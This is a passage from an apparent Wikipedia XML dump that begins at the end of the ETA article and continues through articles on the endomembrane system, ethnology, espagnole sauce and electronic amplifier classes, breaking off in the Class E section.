Some ex-militants live in [[Latin America]]n countries, such as [[Mexico]] and [[Venezuela]]  where they have received [[political asylum]]. The [[Colombia]]n government has accused [[Ireland|Irish]] and Basque citizens in Colombia of being [[Provisional Irish Republican Army|IRA]] and ETA members teaching terrorist techniques to [[Revolutionary Armed Forces of Colombia|FARC]] [[guerrilla warfare|guerrillas]].

ETA commandos have teamed with the [[Breton Revolutionary Army]] to rob explosives from magazines in [[Brittany]].

==References==
* This article makes use of material translated from the [[:es:ETA|corresponding article]] in the Spanish-language Wikipedia.
* Enric Martinez-Herrera, [http://www.unesco.org/most/vl4n1martinez.pdf &quot;National Extremism and Outcomes of State Policies in the Basque Country, 1979&amp;ndash;2001&quot;], originally published in the ''International Journal on Multicultural Studies'', Vol. 4, No. 1, 2002.
* {{note|BastaYaLD}} ''ETA pide el tercer grado para sus presos'' [[Libertad Digital]], 5 October 2003, quoted in [http://www.bastaya.org/actualidad/Violencia/InformeTorturas/Ladispersiondelospresosdeeta.pdf La dispersión de los presos de ETA] (page 9), a [[Portable Document Format|PDF]] in the [[Basta Ya]] site.

==Documentary films==
[[Documentary film|Non-fictional films]] about ETA
* {{imdb title|id=0291024|title=Asesinato en febrero (2001)}}, about the families of Basque politician [[Fernando Buesa]] and his bodyguard, both killed by ETA.
* ''[[The Basque Ball|The Basque Ball: The Skin Against the Stone]]'', (''La Pelota Vasca'', 2003) about the Basque conflict by filmmaker [[Julio Medem]]: interviews about Basque nationalism and politics. Includes testimonials of ETA victims and relatives of ETA prisoners.
* {{imdb title|id=0486499|title=Trece entre mil (2005)}}, the testimony of some of ETA's victims in the last 30 years by filmmaker [[Iñaki Arteta]].

==Other films==
Other fact-based films about ETA:
* {{imdb title|id=0079655|title=Operation Ogro (1979)}}, about the murder of Luis Carrero Blanco.
* {{imdb title|id=0082424|title=Escape from Segovia (1981)}}, ETA prisoners escape from the [[Segovia]] prison.
* {{imdb title|id=0242154|title=Yoyes (2000)}}, María Dolores Katarain a.k.a [[Yoyes]] tries to abandon ETA and is murdered by her former fellows.
* {{imdb title|id=0385842|title=Lobo (2004)}}, based on the life of [[Mikel Lejarza]], who, prompted by the Spanish police, entered ETA to be a [[double agent]].

==External links==
* [http://www.amnesty.org/results/is/eng?query=eta ETA] and [http://web.amnesty.org/report2005/esp-summary-eng], according to [[Amnesty International]]
* [http://www.bastaya.org/ Basta Ya], Basque organization protesting against perceived persecution by Basque nationalists.
* [http://clientes.vianetworks.es/personal/angelberto/fotos.htm Fotos del horror], extensive collection of photographs of ETA members, their attacks and the popular protests. (In Spanish)
* [http://avt.org/index.php?option=com_content&amp;task=view&amp;id=18&amp;Itemid=107 In memoriam], Victims of ETA
* [http://www.fas.org/irp/world/para/eta.htm on FAS Intelligence Resource Program]
* [http://www.etxera.org/html/about.htm Etxera], organisation protesting against imprisonment of Basque prisoners outside of the Basque country (site down at [[28 February]] [[2005]], see [http://web.archive.org/web/*/http://www.etxera.org/html/about.htm archive] for older versions)
* [http://news.bbc.co.uk/1/hi/world/europe/3500728.stm Who are Eta?] - A [[BBC]] profile
* [http://www.gara.net/dosierrak/euskalgatazka/euskalpresoak/ A dossier] in Spanish on [[Gara]] about the prisoner dispersion including [http://www.gara.net/dosierrak/euskalgatazka/euskalpresoak/mapa.htm a map] of the distribution of ETA prisoners in Spain and France.


[[Category:Terrorism]]
[[Category:Armed leftist groups]]
[[Category:Basque politics]]
[[Category:Francoist Spain]]
[[Category:National liberation movements]]
[[Category:Politics of Spain]]
[[Category:Rebellion]]
[[Category:Secessionist organizations]]

[[ar:وطن الباسك والحرية]]
[[be:ЭТА]]
[[ca:Euskadi ta Askatasuna]]
[[cs:ETA]]
[[da:ETA]]
[[de:Euskadi Ta Askatasuna]]
[[es:Euskadi Ta Askatasuna]]
[[eo:ETA]]
[[eu:Euskadi Ta Askatasuna]]
[[fr:Euskadi ta askatazuna]]
[[he:אט&quot;א]]
[[it:Euskadi Ta Askatasuna]]
[[nl:Euskadi Ta Askatasuna]]
[[ja:ETA]]
[[no:ETA]]
[[pl:ETA]]
[[pt:Euskadi Ta Askatasuna]]
[[ro:ETA]]
[[ru:ЭТА]]
[[sk:Baskicko a jeho sloboda]]
[[sv:ETA]]
[[wa:ETA]]
[[zh:埃塔]]</text>
    </revision>
  </page>
  <page>
    <title>Endomembrane system</title>
    <id>9927</id>
    <revision>
      <id>26312506</id>
      <timestamp>2005-10-23T23:27:26Z</timestamp>
      <contributor>
        <ip>24.247.216.194</ip>
      </contributor>
      <text xml:space="preserve">The '''endomembrane system''' is the system of internal [[biological membrane|membrane]]s within [[eukaryote|eukaryotic cells]] that divide the [[cell (biology)|cell]] into functional and structural compartments, or [[organelle]]s. [[Prokaryote]]s do not have an endomembrane system and thus lack most organelles.

The endomembrane system also provides a transport system, for moving molecules through the interior of the cell, as well as interactive surfaces for [[lipid]] and [[protein]] synthesis. The membranes that make up the endomembrane system are made of a lipid bilayer, with proteins attached to either side or traversing them.

The following organelles are part of the endomembrane system:
*The [[plasma membrane]] is a phospholipid bilayer membrane that separates the cell from its environment and regulates the transport of molecules and signals into and out of the cell.
*The [[nuclear envelope]] is the membrane around the [[cell nucleus|nucleus]] of the cell.
*The [[endoplasmic reticulum]] is a synthesis and transport organelle [the endoplasmic reticulum is an extension of the nuclear envelope].
*The [[Golgi apparatus]] acts as the packaging and delivery system for molecules.
*[[Lysosome]]s are the &quot;digestive&quot; units of the cell. They utilize [[enzyme]]s to break down macromolecules and also act as a waste disposal system.
*[[Vacuole]]s act as storage units in some cells.
*[[Vesicle (biology)|Vesicle]]s are small membrane-enclosed transport units that can transfer molecules between different compartments.

[[Category:Cell biology]]</text>
    </revision>
  </page>
  <page>
    <title>Ethnology</title>
    <id>9928</id>
    <revision>
      <id>39743233</id>
      <timestamp>2006-02-15T15:33:47Z</timestamp>
      <contributor>
        <username>Santa Sangre</username>
        <id>868338</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{COTW}}
'''Ethnology''' ([[Greek language|Greek]] ''ethnos'': people) is a genre of [[cultural anthropology|anthropological]] study, involving the systematic comparison of the [[folkloristics|folklore]], [[beliefs]] and practices of different societies. It initially was considered as the study of &quot;[[primitive]]&quot; people, best qualified as [[indigenous peoples|indigenous]] groups; however, the sense of &quot;ethnology&quot; has been extended to include the study of any particular group of people maintaining a specific set of cultural or &quot;[[subculture|subcultural]]&quot; [[mores]]. 

Among its goals are the reconstruction of [[human history]], and the formulation of [[culture|cultural]] [[universal (metaphysics)|invariants]], such as the alleged [[incest taboo]] and culture change, and the formulation of generalizations about &quot;[[human nature]]&quot;, a concept which has been criticized since the 19th century by various philosophers ([[Hegel]], [[Marx]], [[structuralism]], etc.). 

In some parts of the world (like the USA and Great Britain) it is also referred to as cultural anthropology, although it is not entirely the same. Ethnology has been considered as a [[science|scientific]] discipline since the late 18th century but many of the world's best known minds of all times have been studying various peoples and their traits. Some Greek authors even went so far as to associate non-human characteristics to people whose way of life they did not understand.

The 15th century &quot;discovery of America&quot; had an important role in the new [[Occident|Occidental]] interest toward the [[Other]], often qualified as a &quot;savages&quot;, which was either seen as a brutal barbarian or as a &quot;[[noble savage]]&quot;. Thus, [[civilization]] was opposed in a [[dualism|dualist]] manner to [[barbary]], a classic opposition constitutive of the even more commonly-shared [[ethnocentrism]]. The progress of ethnology, for example with [[Claude Lévi-Strauss]]'s [[structural anthropology]], led to the criticism of conceptions of a linear [[progress (philosophy)|progress]], or the pseudo-opposition between &quot;societies with histories&quot; and &quot;societies without histories&quot;, judged too dependent on a limited view of [[history]] as constituted by accumulative [[growth]].

Lévi-Strauss often refered to [[Montaigne]]'s [[Essays (Montaigne)|essay]] on [[anthropophagy]] as an early example of &quot;ethnology&quot;. Lévi-Strauss aimed, through a [[structuralist|structural method]], at discovering universal invariants in human society, which he thought was the prohibition of the [[incest taboo|incest]]. However, the claims of such universal cultural invariants have been criticized by various 19th and 20th century thinkers, among whom [[Marx]], [[Nietzsche]], [[Foucault]], [[Althusser]] or [[Deleuze]].

==List of scholars of ethnology==

&lt;!-- please list only very famous or important scholars here --&gt;

* [[Pierre Clastres]]
* [[Amadou Hampâté Bâ]]
* [[Yanagita Kunio]]
* [[Claude Lévi-Strauss]]
* [[Marcel Mauss]]
* [[Wilhelm Schmidt]]
{{listdev}}

== References ==

&lt;!-- please include only very famous or/and easily accessible works here; put original dates of publication; only a few representative works by author--&gt;

*[[Pierre Clastres|Clastres, Pierre]], ''Society Against the State'' (1974)
*[[Claude Lévi-Strauss|Lévi-Strauss, Claude]], ''The Elementary Structurs of Kinship'', (1949)
*Lévi-Strauss, Claude, ''Structural Anthropology'' (1958)  

== See also ==

*[[Ethnocentrism]]
*[[Indigenous people]]
*[[Racism]]
*[[Structural anthropology]]

==Websites relating to ethnology==
* http://www.ethnologue.com/ describes the languages and ethnic groups found worldwide, grouped by host nation-state.





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[[Category:Anthropology]]
[[Category:Ethnology]]
[[Category:Folklore]]
[[Category:Social sciences]]

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[[zh:&amp;#27665;&amp;#26063;&amp;#23398;]]</text>
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  <page>
    <title>Espagnole sauce</title>
    <id>9929</id>
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      <timestamp>2006-03-01T03:00:23Z</timestamp>
      <contributor>
        <username>Haikupoet</username>
        <id>198843</id>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Cookbook}}
In cooking, '''espagnole sauce''' is one of the [[Sauce#Sauces in French cuisine|mother sauces]] that are the basis of sauce-making in classic [[French cuisine|French cooking]]. [[Auguste Escoffier]] codified the recipe in the late [[19th century]], which is still followed today.  

Even though ''espagnole'' is the French word for ''Spanish'', the sauce has little connection with Spanish cuisine.  According to Louis Diat, the creator of vichyssoise and the author of the classic ''Gourmet's Basic French Cookbook'': &quot;There is a story that explains why the most important basic brown sauce in French cuisine is called ''sauce espagnole'', or Spanish sauce.  According to the story, the Spanish cooks of [[Louis XIII of France|Louis XIII]]'s bride, Anne, helped to prepare their wedding feast, and insisted upon improving the rich brown sauce of France with Spanish [[tomato]]es.  This new sauce was an instant success, and was gratefully named in honor of its creators.&quot;

The basic method of making espagnole is to prepare a very dark brown [[roux]], to which are added several gallons of [[veal]] [[stock (food)|stock]] or water, along with 20&amp;ndash;30 lbs (9&amp;ndash;14 kg) of browned bones, pieces of [[beef]], many pounds of [[vegetable]]s, and various [[seasoning]]s.  This blend is allowed to slowly reduce while being frequently skimmed. The classical recipe calls for additional veal stock to be added as the liquid gradually reduces but today water is generally used instead.  [[Tomato sauce]] is added towards the end of the process, and the sauce is further reduced.

Espagnole has a strong, even somewhat unpleasant taste and is not itself used directly on food. As a ''mother sauce'', however, it then serves as the starting point for many ''derivative sauces'', such as: Sauce Africaine, Sauce Bigarade, Sauce Bouguignonne, Sauce aux Champignons, Sauce Charcutiere, Sauce Chasseur, and Sauce Chevreuil, just to go as far as the &quot;Cs&quot;.  There are ''hundreds'' of other derivatives in the classic French repertoire.

A typical espagnole recipe takes many hours or even several days to make, and produces four to five quarts of sauce.  In most derivative recipes, however, one cup of espagnole is more than enough, so that the basic recipe will yield enough sauce for 16 to 20 meals.  Frozen in small quantities, espagnole will keep practically indefinitely.

Escoffier included a recipe for a [[Lent]]en espagnole sauce, using fish stock and mushrooms, in the [[Guide Culinaire]] but doubted its necessity.

==See also==
*[[brown sauce]]

==External links==
* {{cite book | last = Waters | first = Mrs. W.G. | year = 1920 | title = The Cook's Decameron: A Study In Taste | publisher = IndyPublish.com | id = ISBN 1404345809 }}
* [http://onlinebooks.library.upenn.edu/webbin/gutbook/lookup?num=930 ''The Cook's Decameron'' from Project Gutenberg]
* [http://www.foodnetwork.com/food/recipes/recipe/0,,FOOD_9936_10351,00.html Emeril Lagasse's recipe at foodtv.com]

[[Category:Brown sauces]]
[[Category:French cuisine]]</text>
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  <page>
    <title>Electronic amplifier</title>
    <id>9931</id>
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      <text xml:space="preserve">{{featured article}}
''The term '''amplifier''' as used in this article can mean either a circuit (or stage) using a single active device or a complete system such as a packaged audio hi-fi amplifier.''

An '''electronic amplifier''' is a device for increasing the current, voltage or [[Power (physics)|power]] of a [[Signal (information theory)|signal]]. It does this by taking power from a [[power supply]] and controlling the output to match the input signal shape but with a larger amplitude.  An idealized amplifier can be said to be &quot;a piece of [[wire]] with [[gain]]&quot;, as the output is an exact replica of the input, but larger.

==Classification of amplifier stages and systems==
Different designs of amplifiers are used for different types of applications and signals. We can broadly divide amplifiers into three categories&amp;mdash;

*small signal amplifiers, 
*low frequency power amplifiers and 
*[[Radio frequency|RF]] power amplifiers. 

Each of these calls for a slightly different design approach, mainly because of the physical limitations of the components used to implement the amplifier, and the efficiencies that can be realised.

There are many alternative classifications that address different aspects of amplifier designs, and they all have some effect on the design parameters and objectives of the circuit. Amplifier design is always a compromise of numerous factors, such as cost, amount of power consumed, devices that have real-world imperfections, and the need to match the amplifier to the input signal as well as the output load.

===Classification of amplifier stages by common terminal===
One set of these classifications include terms referring to “common terminal “ connections, where the design is described by the terminal of the active device that is tied closest to ground. Examples include terms such as '''[[common emitter]]''', '''common plate''', or '''common drain''', and these names also reflect the type of active device used to amplify the signal. For instance, common emitter refers to an amplifier with a bipolar transistor as the active device, while common plate would be for a vacuum tube amp, while a common drain amp would signify the use of MOSFET or JFET devices. Designs exist for almost any terminal of any active device to be held to ground in an amplifier, for different reasons that are reflected in each use. See also: [[common collector]], [[common base]].

===Inverting or non-inverting===
Another way to classify amps is the phase relationship of the input signal to the output signal.  An '''inverting''' amplifier produces an output that is 180 degrees out of phase of the input signal, or a mirror image of it if viewed on an [[oscilloscope]]. A '''non-inverting''' amplifier maintains equal phase relationship between the input and output waveforms. An '''emitter follower''' is a type of this amplifier, indicating that the signal at the emitter of a transistor is following (matching phases) with the input signal.

This description can apply to a single stage or a complete system.

===Function===
Other amps may be classified by their function or output characteristics. These functional descriptions usually apply to complete amplifier systems or sub systems and rarely to individual stages. 

*A '''servo amp''' indicates an integrated [[feedback loop]] to actively control the output at some desired level. A '''DC [[servo]]''' indicates use down to DC levels, where the normal fluctuations of an audio or RF signal do not occur. These are often used in mechanical actuators, or devices such as [[DC motor]]s that must maintain a constant speed or [[torque]]. An '''AC servo''' amp can do this for some ac motors.  

*A '''linear''' amp denotes that it has a precise amplification factor over a wide range of frequencies, and is often used to boost signals for relay in communications systems. A '''non-linear''' amp is made to amplify only a specific narrow or tuned frequency, to the exclusion of all other frequencies. 

*A '''RF''' amp refers to an amp designed for use in the [[radio frequency]] range of the [[electromagnetic spectrum]], and is often specially made to feed [[antenna]] systems. 

*An '''audio''' amp is specially designed and made for use in reproducing [[sound reproduction|audio]] frequencies, with special considerations made for driving [[loudspeaker|speaker]]s. These often have multiple amps grouped together as separate or bridgeable channels to accommodate different audio reproduction systems.

*A special type of low power amp with almost ideal characteristics is used in instruments and for signal processing, among many other varied uses. These are known as '''[[operational amplifier|operational]]''' amplifiers, or '''op-amps'''. This is because this type of amplifier is used in circuits that perform mathematical algorithmic functions, or &quot;operations&quot; on input signals to obtain specific types of output signals. 

===Voltage current or power amplification===
Amplifiers can be designed to increase signal voltage ('''voltage''' amp), current ('''buffer''' amp), or both ('''power''' amp), of an electronic signal. Electronic amplifiers can operate off either single sided supplies (either + or – voltage “rail”, or “bus”, and ground), or double-sided or balanced supplies (+ and – supply rails, and ground). 

The different methods of supplying power result in many different methods of [[bias]]. Bias is the method by which the active devices are set up to operate properly, or by which the DC component of the output signal is set to the midpoint between the maximum voltages available from the power supply. Most amplifiers use sets of devices that are matched in specifications except for polarity. These are called complementary pairs. Class A amplifiers generally use only one device, unless the power supplies are set to provide both positive and negative supplies, in which case a dual device symmetrical design may be used. Class C amps, by definition, use a single polarity supply. 

Amplifiers are also often designed to have multiple stages hooked in series to increase gain. Each stage of these designs is often a different type of amp to suit the needs of each stage. For instance, the first stage might be a Class A stage, feeding a class AB push-pull second stage, which then drives a class G final output stage, taking advantage for the strengths of each type, while minimizing the weaknesses. 

There also exist special “stacked” transistors, called [[Darlington pair]]s, which have two specially matched transistors in a single case. Transistors or other active devices are also often hooked in parallel, or “strapped”, in order to multiply the amount of current that the final output stage can deliver to the load. 

===Interstage coupling method===
Audio amplifiers are sometimes classified by the coupling method of the signal at the input, output, or between stages. Different types of these include '''[[capacitance|capacitive]]''', '''[[inductance|inductive]] ([[transformer]]),''' and '''direct coupled''' amps. Each method has its advantages and compromises.

==Angle of flow==
The letter system of amplifier classification assigns a letter to different designs of electronic amplifiers. These designs are classified according to the relationship between the input wave form and the output wave form, as well as the amount of time that the active components used to amplify a signal are conducting electricity. This time is measured in degrees of duration of sine wave test signal applied to the input of an amplifier, with 360 degrees representing one full cycle.

==Implementation==
Amplifiers can be implemented using [[Transistor|transistors]] of various types, or [[vacuum tube]]s (valves). Other more exotic forms of amplifier are also possible using different types of devices. Such exotic amplifiers are often used for [[Microwave|microwave]] or other [[extremely high frequency]] signals.

==Amplifier classes==
Amplifier circuits are classified as A, B, AB and C for [[analog circuit|analog]] designs, and class D and E for switching designs. For the analog classes, each class defines what proportion of the input signal cycle (called the [[angle of flow]]) is used to actually switch on the amplifying device:

; Class A : 100% of the input signal is used (conduction angle a = 360° or 2&amp;pi;)
; Class AB : more than 50% but less than 100% is used. (181° to 359°, &amp;pi; &lt; a &lt; 2&amp;pi;)

* ''Class AB1'' applies to tube or transistor amplifiers in class AB where the grid or base is more negatively biased than it is in class A.

* ''Class AB2'' applies to tube or transistor amplifiers in class AB where the grid or base is often more negatively biased than in AB1, and the input signal is often larger. When the drive is high enough to make the grid or the base more positive, the grid or base current will increase. It is possible depending on the level of the signal input for the amplifier to move from class AB1 to AB2.
; Class B : 50% of the input signal is used (a = 180° or &amp;pi;)
; Class C : less than 50% is used (0° to 179°, a &lt; &amp;pi;)

This can be most easily understood using the diagrams in each section below. For the sake of illustration, a [[bipolar junction transistor]] is shown as the amplifying device, but in practice this could be a [[MOSFET]] or vacuum tube device. In an analog amplifier, the signal is applied to the input terminal of the device (base, gate or grid), and this causes a proportional output drive [[electric current|current]] to flow out of the output terminal. The output drive current is obtained from the power supply. The voltage signal shown is thus a larger version of the input, but has been changed in sign (inverted) by the amplification. Other arrangements of amplifying device are possible, but that given ([[common emitter]], [[common source]] or [[common cathode]]) is the easiest to understand and employ in practice. If the amplifying element is linear, then the output will be faithful copy of the input, only larger and inverted. In practice, transistors are not linear, and the output will only approximate the input. [[Non-linearity]] is the origin of distortion within an amplifier. Which class of amplifier (A, B, AB or C) depends on how the amplifying device is [[voltage bias|bias]]ed&amp;mdash;in the diagrams the bias circuits are omitted for clarity.

Any real amplifier is an imperfect realization of an ideal amplifier. One important limitation of a real amplifier is that the output it can generate is ultimately limited by the power available from the power supply. An amplifier can saturate and clip the output if the input signal becomes too large for the amplifier to reproduce.

===Class A===
Class A amplifiers amplify over the whole of the input cycle such that the output signal is an exact scaled-up replica of the input with no clipping. Class A amplifiers are the usual means of implementing small-signal amplifiers. They are not very efficient&amp;mdash;a theoretical maximum of 25% is obtainable, but for small signals, this waste of power is still extremely small, and can be easily tolerated. It is only when we need to create output powers with appreciable levels of voltage and current does Class A become problematic. In a Class A circuit, the amplifying element is biased such that the device is always conducting to some extent, and is operated over the most linear portion of its characteristic curve (known as its [[transfer function]] or [[transconductance]] curve). Because the device is always conducting, even if there is no input at all, power is wasted. This is the reason for its inefficiency.

&lt;center&gt;[[image:Electronic_Amplifier_Class_A.png]]&lt;/center&gt;

If we wish to produce large output powers from a Class A circuit, the power wastage will become significant. For every [[watt]] delivered to the [[load]], the amplifier itself will, at best, waste another watt. For large powers this will call for a large power supply and large heat sink to carry away the waste heat. Class A designs have largely been superseded for [[Sound|audio]] power amplifiers, though some [[audiophile]]s believe that Class A gives the best sound quality, due to it being operated in as linear a manner as possible. In addition, some aficionados prefer vacuum tube (or &quot;valve&quot;) designs over transistors, for a number of reasons. One is that the characteristic curve of a valve means that distortion tends to be in the form of even [[harmonic]]s, which, they claim, sound more &quot;musical&quot; than odd harmonics. Another is that valves use many more [[electron]]s at once than a transistor, and so statistical effects lead to a &quot;smoother&quot; approximation of the true waveform&amp;mdash;see [[shot noise]] for more on this. Field-effect transistors have similar characteristics to valves, so these are found more often in high quality amplifiers than bipolar transistors. Historically, valve amplifiers often used a Class A power amplifier simply because valves are large and expensive; Many Class A design uses only a single device. Transistors are much cheaper, and so more elaborate designs that give greater efficiency but use more parts are still cost effective.  A classic application for a pair of class A devices is the [[long-tailed pair]], which is exceptionally linear, and forms the basis of many more complex circuits, including many audio amplifiers and almost all [[operational amplifier|op-amps]].

===Class B and AB===
Class B amplifiers only amplify half of the input wave cycle. As such they create a large amount of distortion, but their efficiency is greatly improved. This is because the amplifying element is switched off altogether half of the time, and so cannot dissipate power. A single Class B element is rarely found in practice, though it can be used in RF power amplifiers where the distortion is unimportant. However Class C is more commonly used for this.

&lt;center&gt;[[Image:Electronic_Amplifier_Class_B.png]]&lt;/center&gt;

A practical circuit using Class B elements is the complementary pair or &quot;push-pull&quot; arrangement. Here, complementary devices are used to each amplify the opposite halves of the input signal, which is then recombined at the output. This arrangement gives excellent efficiency, but can suffer from the drawback that there is a small glitch at the &quot;joins&quot; between the two halves of the signal. This is called [[crossover distortion]]. A solution to this is to bias the devices just on, rather than off altogether when they are not in use. This is called Class AB operation. Each device is operated in a non-linear region which is only linear over half the waveform, but still conducts a small amount on the other half. Such a circuit behaves as a class A amplifier in the region where both devices are in the linear region, however the circuit cannot strictly be called class A if the signal passes outside this region, since beyond that point only one device will remain in its linear region and the transients typical of class B operation will occur. The result is that when the two halves are combined, the crossover is greatly minimised or eliminated altogether.

&lt;center&gt;[[Image:Electronic_Amplifier_Push-pull.png]]&lt;/center&gt;

Class B or AB push-pull circuits are the most common form of design found in audio power amplifiers. Class AB is widely considered a good compromise for audio amplifiers, since much of the time the music is quiet enough that the signal stays in the &quot;class A&quot; region, where it is reproduced with good fidelity, and by definition if passing out of this region, is large enough that the distortion products typical of class B are relatively small.  Class B and AB amplifiers are sometimes used for RF linear amplifiers as well.

===Negative feedback===
Feedback feeds the difference of the input and part of the output back to the input in a way that cancels out part of the input. The main effect is to reduce the overall gain of the system. However the unwanted signals introduced by the amplifier are also fed back.  Since they are not part of the original input, they are added to the input in opposite phase, subtracting them from the input.

Careful design of each stage of an [[open loop]] (non-feedback) amplifier can achieve about 1% distortion. With [[negative feedback]], 0.001% is typical.  Noise, even crossover distortion can be practically eliminated.  Feedback was originally invented so that replacing a burnt-out [[vacuum tube]] would not change an amplifier's performance (manufacturing realities require that tubes and transistors with the same part number will have close but not identical gain).  Negative feedback also compensates for changing temperatures, and degrading or non-linear components. While amplifying devices can be treated as linear over some portion of their characteristic curve, they are inherently non-linear; their [[physics]] dictates that they operate using a [[square law]]. The result of non-linearity is distortion.

The application dictates how much distortion a design can tolerate.  For [[hi-fi]] audio applications, [[instrumentation amplifier]]s and the like, distortion must be minimal, often better than 1%.  

While feedback seems like a universal fix for all the problems of an amplifier, many believe that negative feedback is a bad thing.  Since it uses a loop, it takes a finite time to react to an input signal, and for this short period the amplifier is &quot;out of control.&quot; A musical transient whose timing is of the same order as this period will be grossly distorted, even though the amplifier will show incredibly good distortion performance on steady-state signals. Proponents of feedback refute this, saying that the feedback &quot;delay&quot; is of such a short order that it represents a frequency vastly outside the [[bandwidth]] of the system, and such effects are not only inaudible, but not even present, as the amplifier will not respond to such high frequency signals.

The argument has caused controversy for many years, and has led to all sorts of interesting designs&amp;mdash;such as [[feedforward]] amplifiers (e.g. digital signals on many cell-site base-station transmitters are precompensated for the radio amplifier's distortion). The fact remains that the majority of modern amplifiers use considerable amounts of feedback, though the best audiophile designs seek to minimise this as much as possible.

The concept of feedback is used in [[operational amplifier]]s to precisely define gain, bandwidth and other parameters.

===A practical circuit===
For the purposes of illustration, this practical amplifier circuit is described. It could be the basis for a moderate-power audio amplifier. It features a typical (though substantially simplified) design as found in modern amplifiers, with a class AB push-pull output stage, and uses some overall negative feedback. Bipolar transistors are shown, but this design would also be realisable with FETs or valves.

&lt;center&gt;[[image:Amplifier_Circuit_Small.png]]&lt;/center&gt;

The input signal is coupled through [[capacitor]] C1 to the base of transistor Q1. The capacitor allows the [[Alternating current|AC]] signal to pass, but blocks the [[Direct current|DC]] bias voltage established by [[resistor]]s R1 and R2 so that any preceding circuit is not affected by it. Q1 and Q2 form a [[differential amplifier]] (an amplifier that multiplies the difference between two inputs by some constant), in an arrangement known as a [[long-tailed pair]]. This arrangement is used to conveniently allow the use of negative feedback, which is fed from the output to Q2 via R7 and R8. The negative feedback into the difference amplifier allows the amplifier to compare the input to the actual output.  This way the amplifier &quot;knows&quot; the actual output and uses that knowledge to adjust the gain.  The amplified signal from Q1 is directly fed to the second stage, Q3, which provides further amplification of the signal, and the DC bias for the output stages, Q4 and Q5. R6 provides the load for Q3. So far, all of the amplifier is operating in Class A. The output pair are arranged in Class AB push-pull, also called a complementary pair. They provide the majority of the current amplification and directly drive the load, connected via d.c. blocking capacitor C2. The [[diode]]s D1 and D2 provide a small amount of constant voltage bias for the output pair, just biasing them into the conducting state so that crossover distortion is minimised. This design is simple, but a good basis for a practical design because it automatically stabilises its operating point, since feedback internally operates from DC up through the audio range and beyond. Further circuit elements would probably be found in a real design that would roll off the [[frequency response]] above the needed range to prevent the possibility of unwanted [[oscillation]]. Also, the use of fixed diode bias as shown here can cause problems if the diodes are not both electrically and thermally matched to the output transistors&amp;mdash;if the output transistors turn on too much, they can easily overheat and destroy themselves, as the full current from the power supply is not limited at this stage. A common solution to help stabilise the output devices is to include some emitter resistors, typically an ohm or so. Calculating the values of the circuit's resistors and capacitors is done based on the components employed and the intended use of the amp.

For the basics of radio frequency amplifers using valves, see [[Valved RF amplifiers]].

==Specialty classes==
===Class C===
Class C amplifiers conduct less than 50% of the input signal and the distortion at the output is high, but  efficiencies of up to 90% can be reached. Some applications can tolerate the distortion, such as audio [[bullhorn]]s. A much more common application for Class C amplifiers is in RF [[transmitter]]s, where the distortion can be vastly reduced by using tuned loads on the amplifier stage. The input signal is used to roughly switch the amplifying device on and off, which causes pulses of current to flow through a [[LC circuit|tuned circuit]]. The tuned circuit will only resonate at particular frequencies, and so the unwanted frequencies are dramatically suppressed, and the wanted full signal (sine wave) will be abstracted by the tuned load. Provided the transmitter is not required to operate over a very wide band of frequencies, this arrangement works extremely well. Other residual harmonics can be removed using a filter.

&lt;center&gt;[[image:Electronic_Amplifier_Class_C.png]]&lt;/center&gt;

===Class D===
A class D amplifier is a power amplifier where all power devices are operated in on/off mode. Output stages such as those used in [[pulse generator]]s are examples of class D amplifiers. Mostly though, the term applies to devices intended to reproduce signals with a bandwidth well below the pulse frequency. These amplifiers use [[pulse width modulation]], [[pulse density modulation]] (sometimes referred to as pulse frequency modulation) or some combination of the two. The input signal is converted to a sequence of pulses whose averaged value is directly proportional to the amplitude of the signal at that time.  The frequency of the pulses is typically ten or more times the highest frequency of interest in the input signal.  The output of such an amplifier contains unwanted spectral components (i.e.. the pulse frequency and its [[harmonics]]) that must be removed by a passive [[filter]].  The resulting filtered signal is then an amplified replica of the input.

The main advantage of a class D amplifier is power efficiency.  Because the output pulses have a fixed amplitude, the switching elements (usually [[MOSFET]]s, but valves and [[bipolar transistor]]s were once used) are switched either on or off, rather than operated in linear mode.  This means that very little power is dissipated by the transistors except during the very short interval between the on and off states. The wasted power is low because the instantaneous power dissipated in the transistor is the product of voltage and current, and one or the other is almost always close to zero.
The lower losses permit the use of a smaller [[heat sink]] while the [[power supply]] requirements are lessened too.

Class D amplifiers can be controlled by either [[analog circuit|analog]] or [[digital circuit]]s.  A digital controller introduces additional distortion called ''quantisation error'' caused by its conversion of the input signal to a digital value.

Class D amplifiers were widely used to control [[motor]]s, and almost exclusively for small DC motors.  But they are now also used as audio amplifiers. The relative difficulty of achieving good audio quality means that the vast majority appear in applications where quality is not a factor, such as miniature audio systems and &quot;DVD-receivers&quot;. But now, high quality Class D audio amplifiers are starting to appear in the market. Some of them even outperform classical designs. Recently, several manufacturers are offering built modules ready to be integrated in audio systems.
An early and prolific area of application is high-powered, high-fidelity subwoofer amplifiers in automobiles.  Because subwoofers are generally limited to a bandwidth of no higher than 150 Hz, the switch speed for the amplifier does not have to be as high as for a full range amplifier.  They have become so inexpensive that a true 1 kW of power output can be had for less than 250USD (retail). Efficiencies are in the 80% to 95% range.

See also: [[PWM amplifier]]

====D does not stand for &quot;digital&quot;====
The letter ''D'' used to designate this type of amplifier is simply the next letter after ''C '', and does not stand for ''[[digital]]''.  Class D and Class E amplifiers are sometimes mistakenly described as &quot;digital&quot; because the output waveform superficially resembles a pulse-train of digital symbols, but a Class D amplifier merely converts an input waveform into a continuously [[pulse width modulation|pulse-width modulated]] analog signal.

===Class E===
The class E amplifier is a highly efficient switching power amplifier, typically used at radio frequencies. Its efficiency depends on the fact that perfect switching operation does not dissipate power. An ideal switch has zero impedance when closed and infinite impedance when open, implying that there is zero voltage across the switch when it carries current (on state) and zero current through it when there is a voltage across (off state). Consequently the product of voltage and current (power loss) is zero at any time. The figure below shows a schematic of a class-E amplifier that uses this principle to achieve high efficiency.

&lt;center&gt;[[image:Class-e.jpg]]&lt;/center&gt;

The switch is periodically opened and closed at the frequency of operation. Usually, but not always, the switching duty ratio is 50%. The RF choke has comparatively large inductance so that in effect it functions as a constant current source. Other passive device values are chosen such that the following conditions are satisfied simultaneously.
(1) The voltage across the switch at the instant of closing is zero.
(2) The time derivative of voltage across the switch at is zero when the switch turns on.
Moreover, Ls and Cs forms a resonating filter at the frequency of operation.

In practical implementations a transistor is substituted for a switch, but is operated either in saturation (on) or in cut-off (off).
